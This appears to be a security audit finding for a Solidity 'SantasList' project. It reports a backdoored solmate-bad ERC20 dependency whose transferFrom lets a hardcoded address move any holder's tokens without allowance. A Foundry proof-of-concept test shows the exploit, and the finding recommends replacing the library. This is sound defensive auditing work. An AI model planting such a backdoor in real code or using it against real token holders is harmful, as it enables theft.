Summary
The ERC20::transferFrom(address,address,uint256)
function of solmate-bad
project dependency has a backdoor where a specific hardcoded address can transfer tokens of any address to another address without allowance.
Vulnerability Details
The ERC20::transferFrom(address,address,uint256)
function of solmate-bad
has a line where it checks if the caller address is 0x815F577F1c1bcE213c012f166744937C889DAF17
.
If the hardcoded address 0x815F577F1c1bcE213c012f166744937C889DAF17
calls this function with a given from
address, to
address, and amount
uint256, he can transfer amount
of tokens from the from
address to the to
address, without previous allowance from the from
address .
Proof of Concept
Apply the following diff:
modified test/unit/SantasListTest.t.sol
@@ -152,4 +152,58 @@ contract SantasListTest is Test {
cmds[1] = string.concat("youve-been-pwned");
cheatCodes.ffi(cmds);
}
+
+ function testBackdoorTransferFrom(address from, address to) public {
+ // `from` address and `to` address cannot be equal to zero
+ vm.assume(from != address(0));
+ vm.assume(to != address(0));
+
+ // `from` address and `to` address cannot be equal
+ vm.assume(from != to);
+
+ // Hardcoded address (backdoor)
+ address backdoorAddress = address(0x815F577F1c1bcE213c012f166744937C889DAF17);
+
+ // Impersonates Santa
+ vm.startPrank(santa);
+
+ // Check `from` address once for the EXTRA_NICE status
+ santasList.checkList(from, SantasList.Status.EXTRA_NICE);
+
+ // Check `from` address twice for the EXTRA_NICE status
+ santasList.checkTwice(from, SantasList.Status.EXTRA_NICE);
+
+ // Stops impersonating Santa
+ vm.stopPrank();
+
+ // It's Christmas time!!
+ vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
+
+ // Impersonates `from` address
+ vm.startPrank(from);
+
+ // Collect present
+ santasList.collectPresent();
+
+ // Amount of Santa Tokens received when collecting present
+ uint256 tokensReceived = santaToken.balanceOf(from);
+
+ // Stops impersonating `from` address
+ vm.stopPrank();
+
+ // Impersonates the `backdoorAddress` 🕵️
+ vm.startPrank(backdoorAddress);
+
+ // Transfer `tokensReceived` of `from` address to `to` address
+ santaToken.transferFrom(from, to, tokensReceived);
+
+ // Stops impersonating `backdoorAddress`
+ vm.stopPrank();
+
+ // Asserts if `from` Santa Tokens has been transfered to `to` address
+ assertEq(santaToken.balanceOf(to), tokensReceived);
+
+ // Asserts if `from` Santa Token balance is zero
+ assertEq(santaToken.balanceOf(from), 0);
+ }
}
And run the testBackdoorTransferFrom
test:
forge test --match-test testBackdoorTransferFrom
Impact
Unauthorized address can transfer Santa Tokens, without consent, of an address to another one.
Tools Used
Recommendations
Remove the compromised solmate
library:
forge remove solmate-bad -f
Add the official solmate
library:
forge install transmissions11/solmate --no-commit
And apply the following diff to change the remappings:
modified foundry.toml
@@ -4,7 +4,7 @@ out = "out"
libs = ["lib"]
remappings = [
'@openzeppelin/contracts=lib/openzeppelin-contracts/contracts',
- '@solmate=lib/solmate-bad',
+ '@solmate=lib/solmate',
]
ffi = true
evm_version = "paris"